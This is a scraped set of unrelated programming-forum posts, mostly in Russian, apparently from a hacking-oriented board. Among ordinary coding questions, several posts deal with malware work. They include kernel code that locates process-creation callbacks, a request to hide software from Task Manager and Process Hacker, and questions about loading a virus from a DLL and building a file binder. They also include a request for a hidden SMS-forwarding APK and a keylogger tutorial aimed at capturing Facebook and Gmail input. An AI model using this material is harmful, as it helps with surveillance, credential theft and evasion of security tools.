if (*(PUCHAR)i == OPCODE_LEA_R13_1[g_WindowsIndex] && *(PUCHAR)(i + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] && *(PUCHAR)(i + 2) == OPCODE_LEA_R13_3[g_WindowsIndex])
{
OffsetAddr = 0;
memcpy(&OffsetAddr, (PUCHAR)(i + 3), 4);
return OffsetAddr + 7 + i;
}
}
return 0;
}
kod vzyal tyt: [click](https://github.com/uf0o/windows-ps-callbacks- experiments)
sobstvenno... lovlu bsod kogda vizivau ety funkciu... videl takyu zhe realizaciu tol'ko y kitaicev:
Hidden content for authorized users.
C:Copy to clipboard
ULONG64 FindPspCreateProcessNotifyRoutine()
{
LONG OffsetAddr=0;
ULONG64 i=0,pCheckArea=0;
UNICODE_STRING unstrFunc;
//获得PsSetCreateProcessNotifyRoutine的地址
RtlInitUnicodeString(&unstrFunc, L"PsSetCreateProcessNotifyRoutine");
pCheckArea = (ULONG64)MmGetSystemRoutineAddress (&unstrFunc);
//获得PspSetCreateProcessNotifyRoutine的地址
memcpy(&OffsetAddr,(PUCHAR)pCheckArea+4,4);
pCheckArea=(pCheckArea+3)+5+OffsetAddr;
DbgPrint("PspSetCreateProcessNotifyRoutine: %llx",pCheckArea);
//获得PspCreateProcessNotifyRoutine的地址
for(i=pCheckArea;i<pCheckArea+0xff;i++)
{
if(*(PUCHAR)i==0x4c && *(PUCHAR)(i+1)==0x8d && *(PUCHAR)(i+2)==0x35) //lea r14,xxxx
{
LONG OffsetAddr=0;
memcpy(&OffsetAddr,(PUCHAR)(i+3),4);
return OffsetAddr+7+i;
}
}
return 0;
}
on bsod ne vidaet, no offset ne nahodit...
mozhet est' tyt znaushie?
Does anyone have experience with installing the Microsoft/SEAL library without building the installation for VS? Would rather roll with gcc for simplicities sake (testing function). Can CMakeLists file be modified to accommodate this? Thanks
Подкиньте материалы по децентрализованным системам что бы не начудить.
Спасибо.
For those writing code in windows without the native IDE you'll probably end up needing gcc (of some variation), either for importing a module or just to compile a build. For whatever reason it's not offered through winget (hmm...?) so the logical solution is to add shell with MSYS2 or similar and grab the files from package manager. Obviously we add the binary directories to the system path environment variable ($env:Path +=) and we're done. There seems to be a million different people on github and stack confused why they can't see the version after this step. If you encounter this, you should be declaring three bin paths (32/64/32x64) to clarify. That's it.
Забыл добавить опцию 'книга-мануал' при создании темы.
Здравствуйте, делаю определённый софт, одна из функций защиты заключается в том, что при запуске диспетчера задач или процесс хакера, софт должен как-то себя либо зафризить на время того, когда одна из этих программ запущена и не показываться ни там, ни там.
Вот наброски кода:
C#:Copy to clipboard
public static void Defense()
{
Process proc = new Process();
while (true)
{
Thread.Sleep(1000);
Process[] procList = Process.GetProcesses();
string[] attackedProcess = { "System.Diagnostics.Process (ProcessHacker)", "System.Diagnostics.Process (Taskmgr)", "Taskmgr.exe", "Taskmgr", "Process Hacker", "Process Hacker.exe", "process hacker", "process hacker.exe" };
for(int x = 0;x < procList.Length; x++)
{
Console.WriteLine(procList[x]);
for(int z = 0;z < 8; z++)
{
//Console.WriteLine(attackedProcess[z]);
if (procList[x].ToString() == attackedProcess[z])
{
break;
}
else
{
continue;
}
}
}
}
отыскал на гитхабе класс архивирования
(source)
истребляю все crt функции, strcpy, strlen...
но никак не могу заменить new для структуры и класса
C:Copy to clipboard
HZIP CreateZipInternal(void* z, unsigned int len, DWORD flags, const char* password)
{
TZip* zip = new TZip(password);
lasterrorZ = zip->Create(z, len, flags);
if (lasterrorZ != ZR_OK)
{
delete zip;
return 0;
}
TZipHandleData* han = new TZipHandleData;
han->flag = 2; han->zip = zip; return (HZIP)han;
}
собственно, пытался заменить оператор new вот так
C:Copy to clipboard
HZIP CreateZipInternal(void* z, unsigned int len, DWORD flags, const char* password)
{
TZip* zip = (TZip*)AllocateMemory(sizeof(TZip*));
zip->hfout = 0;
zip->mustclosehfout = false;
zip->hmapout = 0;
zip->zfis = 0;
zip->obuf = 0;
zip->hfin = 0;
zip->writ = 0;
zip->oerr = false;
zip->hasputcen = false;
zip->ooffset = 0;
zip->encwriting = false;
zip->encbuf = 0;
zip->password = 0;
zip->state = 0;
lasterrorZ = zip->Create(z, len, flags);
if (lasterrorZ != ZR_OK)
{
FreeMemory(zip);
return 0;
}
TZipHandleData* han = (TZipHandleData*)AllocateMemory(sizeof(TZipHandleData*));
han->flag = 2;
han->zip = zip;
return (HZIP)han;
}
но код крашится...
куда копать?
Как сделать подгрузку вируса из длл через биты или байты
Приветствую. Пишу маленькую прогу, которая при нажатии на кнопку button1_Click
выполнялось подключение по rdp с заранее открытого текстового файла, но есть
одно НО : после нажатия на кнопку подключение происходит нормально без
проблем, после того как я нажимаю повторно на эту же кнопку то нету
подключения.
Т.е. отключается от предыдущего подключения и запускается метод подключение к
следующему серверу из списка.
Но дело в том, что ко 2-му серверу он не подключается. НО если нажать на
кнопку 3 раз. но он подключается к 3-му серверу. Получается, что каждое второе
2-го нажатие на кнопку, не выполняется условие , которое в методе ConnectRdp
"if (rdp.Connected == 0);"
Решил проверить переменную с помощью Console.WriteLine();
Дело в переменной rdp.Connected;
Получается, что после первого нажатия на кнопку значение переменной
rdp.Connected = 0;
После подключения переменная изменяется на rdp.Connected = 2;
После 2-го нажатия на кнопку значение переменной rdp.Connected = 1 и перед
подключением rdp.Connected = 1 ; и условие if (rdp.Connected == 0); не
выполняется, но если убрать условие, то выдает ошибку.
но если 3-ий раз нажать на кнопку, то значения переменной изменяются как после
1-го нажатия на кнопку:
после нажатия на кнопку значение переменной rdp.Connected = 0;
После подключения переменная изменяется на rdp.Connected = 2;
И подключается к 3 серверу
Что не так с кодом? Буду признателен за помощь
Для подключения по rdp использую AxMSTSCLib
вот часть кода:
C#:Copy to clipboard
private int currentIndex = 0;
public Form1()
{
InitializeComponent();
}
private void открытьToolStripMenuItem_Click(object sender, EventArgs e)
{
openFileDialog1.Filter = "Текстовые файлы (*.txt)|*.txt";
openFileDialog1.FileName = "Текстовой документ";
if (openFileDialog1.ShowDialog() == DialogResult.OK)
{
listBox1.Items.Clear();
string fileName = openFileDialog1.FileName;
string[] lines = File.ReadAllLines(fileName);
foreach (string line in lines)
{
listBox1.Items.Add(line);
}
}
}
private void button1_Click(object sender, EventArgs e)
{
Console.WriteLine("После нажатия на кнопку: " + rdp.Connected);
if (rdp.Connected == 1)
{
rdp.Disconnect();
}
ConnectRdp();
currentIndex++;
}
private void ConnectRdp()
{
if (currentIndex < listBox1.Items.Count)
{
Console.WriteLine("Перед подключением: " + rdp.Connected);
if (rdp.Connected == 0)
{
//rdp.UserName = "";
//rdp.AdvancedSettings9.ClearTextPassword = "";
//rdp.AdvancedSettings9.EnableCredSspSupport = true;
rdp.Server = listBox1.Items[currentIndex].ToString();
rdp.Connect();
Console.WriteLine("После подключения: " + rdp.Connected);
}
}
else
{
MessageBox.Show("Закончились айпи!");
}
}
First I want to clarify that this is a very basic keylogger that almost everyone can do if you are starting to learn how to code malware you can use this as a guide and make your way.
Step 1
To hook into the keyboard, all you have to do is use these two C# lines:
Basically what this does is that it determines whether a key is up or down at the time the function is called and whether the key was pressed after a previous call to GetAsyincKeyState.
Now that you have this you continually call this function to get the keyboard data you need, So lets go with the step 2:
What you are doing here is basically that the loop will poll the keyboard every 100 milliseconds to detect the state of each key.
If one of them is pressed , it will print it out to the console.
I will show you a more complex but smarter way to do it:
This code will basically probe the active window every 100ms. GetForegroundWindows does the real heaving lifting. The title of the window will be returned in the “buff” variable, and the keyboard scanning code is called if it contains the word “Facebook” or “Gmail.
Добрый вечер, интересуют книги, видеокурсы по с++, которые больше всего вас порадовали и дали вам знания.
Всем привет. Буду краток. Захотел сделать свою сборку Firefox со своими
расширениями, темами, userchrome и т.п.
Все делал как завещалось. Сначала получил исходники через hg clone, потом
в самой директории собирал через ./mach build и запуск через ./mach
run
Так вот вопрос. Не понимаю, как получить конечный файл setup.exe? Как собрать именно установщик? Погуглил, инструкции вроде какие-то есть, но не понятны. То ли я тупой, то ли нет конкретики в них, хз.
Прошу о помощи всех сведующих. Заранее всем большое спасибо.
C#:Copy to clipboard
using System;
using System.IO;
class Program
{
static void Main(string[] args)
{
Open the input CSV file for reading
StreamReader reader = new StreamReader("input.csv");
Open the output CSV file for writing
StreamWriter writer = new StreamWriter("output.csv");
Write the header to the output CSV file
writer. WriteLine("First Name,Last Name,Email");
Read the input CSV file line by line
while (!reader. EndOfStream)
{
string line = reader. ReadLine();
Split the line into an array of values
string[] values = line. Split(',');
Extract the first and last name and email from the array
string firstName = values[0];
string lastName = values[1];
string email = values[15];
Write the first name, last name, and email to the output CSV file
writer. WriteLine("{0},{1},{2}", firstName, lastName, email);
}
Close the reader and writer
reader. Close();
writer. Close();
Console.WriteLine("Output saved to output.csv.");
}
}
Next I'll modify it to include winforms to select input from file explorer. Nothing spectacular but I'm just starting out so I'm happy =)
Всем привет, решил я значит сделать прогу для фильтрации трафика, чтобы была
возможность блокировать загрузку сайтов, которые я внёс в ЧС, а открывать
вместо них сайты-аналоги, так вот, сделал установку проксей в систему, чтобы
браузеры хватали и использовали именно их(прокси - localhost), так вот перешёл
я к самой реализации клиента и сервера, но что-то не получается, возможно из-
за того, что я не до конца понимаю, как это должно работать, но я смог поднять
простейшие Tcp сервер, использую TcpListener, оттуда я могу спокойно выводить
запросы, которые идут на нужный мне прокси(локалхост), но далее я не могу
никак работать с этими запросами, пытался поднять сервер с помощью
HttpListener, да и в общем пространства имён System.Net, использую различные
методы Http, но, не выходит, вот код, в котором я пытался что-то делать,
помогите, пожалуйста, кто чем сможет. Мне нужно, чтобы сервер принимал пакеты
от клиента(браузера), обрабатывал их, если нужно, подменял ссылку, но я так
думаю, что там дело не столько в сервере, сколько в клиенте, потому что мне
изначально нужно принимать пакеты клиента(браезура), а потом сервером отвечать
на них(т.е. делать так, чтобы страница открывалась в браузере).
(В урле много комментариев, так как это всё неудачные попытки реализации
клиент-сервера)
Code:Copy to clipboard
public static void Server(string message)
{
//var Listener = new HttpListener();
//Console.WriteLine($"http://{ip}:{port}/");
//Listener.Prefixes.Add($"http://{ip}:{port}/");
//Listener.Start();
Console.WriteLine("Сервер пошёл!");
while (true)
{
//HttpListenerContext context = Listener.GetContext();
//HttpListenerRequest req = context.Request;
//Console.WriteLine($"Полученный пакет от: {req.Url}");
//HttpListenerResponse resp = context.Response;
//resp.Headers.Set("Content-Type", "text/plain");
//string data = "Hello there!";
//byte[] buffer = Encoding.UTF8.GetBytes(data);
//resp.ContentLength64 = buffer.Length;
//Stream ros = resp.OutputStream;
//ros.Write(buffer, 0, buffer.Length);
}
}
public static void ServerClient()
{
TcpListener server = new TcpListener(IPAddress.Parse(ip), port);
try
{
server.Start();
Console.WriteLine("Сервер пошёл!");
while (true)
{
TcpClient client = server.AcceptTcpClient();
Console.WriteLine("Входящее подключение " + client.Client.RemoteEndPoint);
while (true)
{
//WaitMessage(client);
var stream = client.GetStream(); //Создаём сетевой поток для работы с клиентом
byte[] data = new byte[1024];
int bytes = stream.Read(data, 0, data.Length);
string message = Encoding.UTF8.GetString(data, 0, bytes);
string method = message.Split(' ')[0];
Console.WriteLine($"Сообщение: {message}, {method}");
//Server(message);
Thread.Sleep(1000);
//Prinyatie_command(message, client);
}
//client.Close();
}
}
catch(Exception ex)
{
Console.WriteLine(ex.ToString());
}
} //доделать
public async Task ReceivePacket(string RemoteEndPoint)
{
//HttpMethod _method = method;
//var PrefixToListen = "http://"
try
{
HttpClient httpClient = new HttpClient();
HttpRequestMessage request = new HttpRequestMessage(HttpMethod.Get, "https://www.google.com");
HttpResponseMessage response = httpClient.SendAsync(request).Result;
Console.WriteLine(response.Content);
Console.WriteLine(response.StatusCode.ToString());
//HttpClient httpClient = new HttpClient();
//HttpRequestMessage request = new HttpRequestMessage(_method, url);
//var headers = request.Headers;
//if (headers.Count() != 3)
//{
// Console.WriteLine("Бэд реквест");
// return;
//}
//HttpMethod __method = request.Method;
//Uri RequestUri = request.RequestUri;
//Version vewrsion = request.Version;
//MemoryStream ms = new MemoryStream();
//HttpContent content = new StreamContent(ms);
//HttpResponseMessage response = await httpClient.SendAsync(request);
//Console.WriteLine(response.StatusCode.ToString());
// await SendResponse(response);
}
catch(Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
пытаюсь сделать парсер коммерческих почт с ютуба на C#, передаю все нужные параметры, но всё время высвечивается ошибка того, что я превысил лимит просмотра коммерческих почт(с одного аккаунта, в день, можно смотреть 5 таких почт, если я не ошибаюсь в количестве), хотя я вообще не превышаю этот запрос, а от силы делаю один такой запрос для того, чтобы найти нужные параметры в Postman(через него отправляю запросы к yt, чтобы потом перевести в C# код). Подскажите, в ч1м может быть ошибка?
как спарсить с этого сайта украинский ip или нет ссылка на сайт
Is it possible to make a custom binder that can replace exe file canvas codes with jpeg word macro etc with c++ or c?
hi I don't know Russian thats why I'll use translate for convert my text to Russian so I'm if anything wrong
// English Version //
I want to export the data's in datagridview to csv file I created a class for export option then call class from the button but I'm getting the error
C#:Copy to clipboard
using System.Windows.Forms;
namespace excel2
internal class ExportHelper
{
public bool Export(DataGridView dgv)
{
bool exported = false;
List<string> lines = new List<string>();
DataGridViewColumnCollection column = dgv.Columns;
bool firstDone = false;
StringBuilder columnLine = new StringBuilder();
foreach(DataGridViewColumn col in column)
{
if(!firstDone)
{
columnLine.Append(col.DataPropertyName);
firstDone = true;
}
else
{
columnLine.Append("," + col.DataPropertyName);
}
}
lines.Add(columnLine.ToString());
//data lines
foreach(DataGridViewRow row in dgv.Rows)
{
StringBuilder dataLine = new StringBuilder();
firstDone = false;
foreach(DataGridViewCell cell in row.Cells)
{
if (firstDone)
{
dataLine.Append(cell.Value);
firstDone= true;
}
else
{
dataLine.Append(","+cell.Value);
}
lines.Add(dataLine.ToString());
}
}
string file = Path.Combine(Application.StartupPath, "Excel");
File.WriteAllLines(file,lines); //this line giving error
System.Diagnostics.Process.Start(file);
return exported;
}
}
the code I attached to button from form
C#:Copy to clipboard
private void button8_Click(object sender, EventArgs e)
{
new ExportHelper().Export(dataGridView1);
}
the errror message : System.UnauthorizedAccessException: ''C:\Users\Danthe\Desktop\VisualStudio\excel2\bin\Debug\Excel' Access denied to path.'
// Russian Version //
Я хочу экспортировать данные из datagridview в csv-файл, я создал класс для опции экспорта, затем вызываю класс с помощью кнопки, но я получаю сообщение об ошибке
Code:Copy to clipboard
using System.Windows.Forms;
namespace excel2
internal class ExportHelper
{
public bool Export(DataGridView dgv)
{
bool exported = false;
List<string> lines = new List<string>();
DataGridViewColumnCollection column = dgv.Columns;
bool firstDone = false;
StringBuilder columnLine = new StringBuilder();
foreach(DataGridViewColumn col in column)
{
if(!firstDone)
{
columnLine.Append(col.DataPropertyName);
firstDone = true;
}
else
{
columnLine.Append("," + col.DataPropertyName);
}
}
lines.Add(columnLine.ToString());
//data lines
foreach(DataGridViewRow row in dgv.Rows)
{
StringBuilder dataLine = new StringBuilder();
firstDone = false;
foreach(DataGridViewCell cell in row.Cells)
{
if (firstDone)
{
dataLine.Append(cell.Value);
firstDone= true;
}
else
{
dataLine.Append(","+cell.Value);
}
lines.Add(dataLine.ToString());
}
}
string file = Path.Combine(Application.StartupPath, "Excel");
File.WriteAllLines(file,lines); //this line giving error
System.Diagnostics.Process.Start(file);
return exported;
}
}
код, который я прикрепил к кнопке из формы
C#:Copy to clipboard
private void button8_Click(object sender, EventArgs e)
{
new ExportHelper().Export(dataGridView1);
}
сообщение об ошибке : System.UnauthorizedAccessException:
''C:\Users\Danthe\Desktop\VisualStudio\excel2\bin\Debug\Excel' Access denied
to path.'
------------------------------------
Я не знаю русского языка, поэтому я использовал перевод, чтобы перевести его
на русский. Мне жаль, если я был неправ
Как интегрировать Android Studio с Manycam?
Хочу сделать анализатор трафика, но ничего не выходит, нашёл некоторые сурсы, попробовал запустить, но они не работают
C#:Copy to clipboard
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using PacketDotNet;
using SharpPcap;
using SharpPcap.WinPcap;
namespace Traff
{
public partial class Form1 : Form
{
CaptureDeviceList dList;
ICaptureDevice device;
Thread thread;
static ICaptureDevice captureDevice;
static int i = 0;
static string s = "";
public Form1()
{
InitializeComponent();
}
public void richTextBox1_TextChanged(object sender, EventArgs e)
{
}
public void capture()
{
try
{
CaptureDeviceList deviceList = CaptureDeviceList.Instance;
// выбираем первое устройство в спсике (для примера)
int z = 0;
foreach(var dev in deviceList)
{
//richTextBox1.AppendText(dev.Name);
//MessageBox.Show(dev.Name);
}
captureDevice = deviceList[2];
// регистрируем событие, которое срабатывает, когда пришел новый пакет
captureDevice.OnPacketArrival += new PacketArrivalEventHandler(Program_OnPacketArrival);
// открываем в режиме promiscuous, поддерживается также нормальный режим
captureDevice.Open(DeviceMode.Promiscuous, 1000);
// начинаем захват пакетов
captureDevice.StartCapture();
}
catch (ThreadAbortException)
{
Thread.ResetAbort();
captureDevice.Close();
captureDevice.OnPacketArrival -= new PacketArrivalEventHandler(Program_OnPacketArrival);
return;
}
}
public void Program_OnPacketArrival(object sender, CaptureEventArgs e)
{
if (i < 2)
{
// парсинг всего пакета
Packet packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
var ip = packet.Extract<PacketDotNet.IPPacket>();
if (ip != null)
{
richTextBox1.AppendText("Original IP packet: " + ip.ToString());
MessageBox.Show("Original IP packet: " + ip.ToString());
}
var tcp = packet.Extract<PacketDotNet.TcpPacket>();
if (tcp != null)
{
richTextBox1.AppendText("Original TCP packet: " + tcp.ToString());
MessageBox.Show("Original TCP packet: " + tcp.ToString());
}
richTextBox1.AppendText("------------------------------");
}
else
{
captureDevice.Close();
return;
}
i++;
}
private void button1_Click(object sender, EventArgs e)
{
capture();
}
}
}
возможно это из-за того, что я выбрал неправильное устройство, но у меня не
выводится информация ни об одном пакете. Может вы как-то поможете сделать
анализатор трафика?
Суть его в том, что он должен отлавливать весь трафик, что есть на компе, а
потом классифицировать его, т.е. распознавать, где идёт какой-либо запрос
телеграма, ютуба, какой-либо соц.сети и тд. Помогите, пожалуйста
/del проблема решена
Hello to all community!
I was wondering if any have the source code for apk hidden sms forwarding to
telegram channel bot, the apk just requesting sms permissions.
hello,
I wanted to open source malware so I could play with it. but it wont build like the instruction says. can you help.
Всем привет, интересна тема создания вредоносов под андроид, видел где то
полгода назад тему с литературой, но сейчас не могу ее найти. Буду очень
благодарен если накидаете книг по этой теме.
Заранее
спасибо
del
I'm looking for long term partner who can make program for me which will be trying to claim/change username to username which i targeted.I will explain further informations on private converstation.Money will be send only in cryptocurrency which will be usually 1k per week.We will share earnings 50/50 I'm trusted on other forums so you dont need to worry.Contact is in signature. I dont care in which language you will make it
Я ищу долгосрочного партнера, который может сделать для меня программу, которая будет пытаться требовать/изменить имя пользователя на имя пользователя, на которое я нацелился. Я объясню дополнительную информацию о частном разговоре. Деньги будут отправлены только в криптовалюте, которая обычно будет 1k в неделю. Мы будем делить доход 50/50 Мне доверяют на других форумах, так что вам не о чем беспокоиться. Контакт в подписи
.delet
C#:Copy to clipboard
private void button2_Click(object sender, EventArgs e)
{
var dialog = new OpenFileDialog();
if (dialog.ShowDialog() != DialogResult.OK)
{
string path = dialog.FileName;
MessageBox.Show(path);
return;
}
}
Привет всем, я узнаю о кеше ключ-значение, таком как Memcached или Redis, написанном на C. Я пытался много искать в Google о проектах с открытым исходным кодом, однако я не нашел ни одного проекта для начинающих с C (у меня есть опыт работы с Java), Memcached для меня оказался слишком сложным. Любые предложения для открытого исходного кода или документации для меня? Извините, русский не мой родной язык. Спасибо
Возможно ли так?
Я написал программу с RSA2048 для шифрования моих баз данных, чтобы никто не мог получить к ним доступ.
Проблема с моей программой в том, что каждый раз, когда я ее запускаю, создается новый ID
Может ли кто-нибудь помочь мне решить эту проблему?
Я хочу, чтобы мой компьютер имел только один идентификатор, независимо от того, запускается ли он один раз или тысячу раз
И мой второй компьютер имеет другой идентификатор
На самом деле у каждого компьютера должен быть только 1 ID
Выполняется ли оно один раз или много раз
Мой язык программирования С#
TCM Security C# 101 For Hackers
Course Overview
Welcome to C# 101 for Hackers. This course introduces students to C# and the
.NET framework. Students will learn to install and configure C# and .NET for
development and concentrate on learning the language by writing C# console
applications. Topics covered include the basic structure and syntax of C#, an
introduction to the many core and fundamental statements and practices within
C#, and leverage what’s discussed with examples that students can implement,
re-use, and learn from further.
Key Topics
Learn how to set up and configure C# and .NET on Kali Linux.
Learn the syntax and structure of C#, and understand the basics of what .NET
offers.
Review and use various code flow statements and techniques.
Learn various coding techniques and patterns that can be reused to build
practical ethical hacking tools using C#.
Understand the differences between asynchronous and parallel programming and
their implementations.
Learn to step through and debug your code.
Apply learned concepts through hands-on exercises and real-world scenarios to
build practical and functional applications.
Prerequisites
Students should be familiar with basic scripting languages and techniques but
do not need to have any prior knowledge of C# and .NET.
System Requirements
Students need a PC that runs Windows, Mac OSX, or Linux. No specific memory or
space requirements exist for this course.
Course Objectives
The course objective is to provide students with a solid foundation in
fundamental programming principles and practical coding skills. Through a
combination of lectures and hands-on exercises, students will learn to write
code utilizing basic logic, conditional statements, loops, and several popular
design patterns. By the end of the course, students will be able to develop
functional applications, troubleshoot issues, and apply programming concepts
to solve real-world problems.
You must have at least 1 reaction(s) to view the content.
у меня есть такой код для настройки прокси в системе:
C#:Copy to clipboard
public static void NewSetProxy()
{
try
{
var proxyServerAddress = "127.0.0.1"; // адрес прокси-сервера
var proxyServerPort = "8484"; // порт прокси-сервера
RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);
// Включить использование прокси-сервера
registry.SetValue("ProxyEnable", 1);
// Установить адрес и порт прокси-сервера
registry.SetValue("ProxyServer", $"{proxyServerAddress}:{proxyServerPort}");
// Применить настройки
registry.Close();
RefreshInternetSettings();
////RegistryKey registry = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);
//RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);
//// устанавливаем значения в реестре Windows для всех браузеров
//registry.SetValue("ProxyServer",
// $"{proxyServerAddress}:{proxyServerPort}");
//registry.SetValue("ProxyEnable",
// "1");
//InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);
//InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);
Console.WriteLine("Прокси были применены_________________________");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
public static void UnsetProxy()
{
//RegistryKey registry = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);
//RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);
//string proxyAddr = proxyhost.Split(':')[0];
try
{
RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);
// Отключить использование прокси-сервера
registry.SetValue("ProxyEnable", 0);
// Удалить адрес и порт прокси-сервера
registry.DeleteValue("ProxyServer", false);
// Применить настройки
registry.Close();
RefreshInternetSettings();
//registry.SetValue("ProxyEnable", 0);
//registry.SetValue("ProxyServer", 0);
//if ((int)registry.GetValue("ProxyEnable", 1) == 1)
// Console.WriteLine("");
//else { }
//InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);
//InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
} //{ //Console.WriteLine("Ошибка: " + ex.ToString()); }
}
private static void RefreshInternetSettings()
{
// Обновить настройки Интернета
InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);
InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);
}
И есть такой код для отлова пакетов и переадресации с vk.com на youtube.com
C#:Copy to clipboard
public static ProxyServer proxyServer = new ProxyServer();
public static void Start()
{
proxyServer.CertificateManager.CertificateEngine = CertificateEngine.BouncyCastle;
var endpoint = new ExplicitProxyEndPoint(System.Net.IPAddress.Any, 8484, true);
proxyServer.AddEndPoint(endpoint);
proxyServer.ServerCertificateValidationCallback += OnCertificateValidation;
proxyServer.BeforeRequest += OnRequest;
//proxyServer.ClientCertificateSelectionCallback -= OnCertificateSelection;
//Thread.Sleep(1000);
X509Certificate2 cert = new X509Certificate2(Path.Combine(System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "rootCert.pfx"));
// создаем объект хранилища корневых сертификатов
X509Store store = new X509Store(StoreName.Root, StoreLocation.LocalMachine);
// открываем хранилище для записи
store.Open(OpenFlags.ReadWrite);
// добавляем сертификат в хранилище
store.Add(cert);
// закрываем хранилище
store.Close();
proxyServer.Start();
Console.WriteLine("ОСНОВНОЙ СЕРВЕР ЗАПУСТИЛИ!");
}
public static void Stop()
{
proxyServer.BeforeRequest -= OnRequest;
proxyServer.Stop();
Console.WriteLine("СТОПАНУЛ СЕРВАК!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
}
private static async Task OnRequest(object sender, SessionEventArgs e)
{
Console.WriteLine("Зашли в редирект");
Console.WriteLine(e.HttpClient.Request.RequestUri.Host.ToString());
var host = e.HttpClient.Request.RequestUri.Host.ToLower();
var host_ip = e.HttpClient.Request.RequestUriString.ToLower();
Console.WriteLine(host);
Console.WriteLine(host_ip);
if (e.HttpClient.Request.RequestUri.Host.ToString().Contains("vk.com"))
{
Console.WriteLine("Редиректаем на ЮТТТТТТТТТТТТТТТТТТТТТТТТТТТТТ");
e.Redirect("https://youtube.com");
Console.WriteLine("РЕДИРЕКТНУЛИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИ");
}
}
//static extern IntPtr GetForegroundWindow();
private static Task OnCertificateValidation(object sender, CertificateValidationEventArgs e)
{
// игнорирование некоторых ошибок SSL-сертификата
if (e.SslPolicyErrors == System.Net.Security.SslPolicyErrors.None)
{
e.IsValid = true;
}
if (e.SslPolicyErrors == System.Net.Security.SslPolicyErrors.RemoteCertificateChainErrors)
{
foreach (X509ChainStatus chainStatus in e.Chain.ChainStatus)
{
if (chainStatus.Status != X509ChainStatusFlags.RevocationStatusUnknown &&
chainStatus.Status != X509ChainStatusFlags.NoError)
{
e.IsValid = false;
}
}
e.IsValid = true;
}
//return false;
return Task.CompletedTask;
}
Я думал, что не работает код для отлова пакетов и переадресации с vk.com на youtube.com на других компьютерах, хотя в нём нет ошибок и скачаны все нужные для его работы библиотеки, на моём компьютере он работает,но, когда мой друг запускает его, то он не работает, я немного подебажил его, проводил тесты и увидел, что программа не работает из-за того, что, скорее всего, не устанавливаются прокси в систему, потому что, когда мой друг сам в настройках системы указал адрес прокси "127.0.0.1" и нужный порт, потом запустил мой код, то он начал ловить пакеты и делать переадресацию, в настройках браузера используются системные прокси, но, видимо, мой код, почему-то, не устанавливает в настройки системных прокси адрес прокси "127.0.0.1" и нужный порт, как решить эту проблему, с чем она может быть связана?
Как защитить ?
Тини нюк я смотрел, но чет его реализация не работает
И пробовал ставить треад и просто маус евент , все четно
https://goalkicker.com/
наслаждаться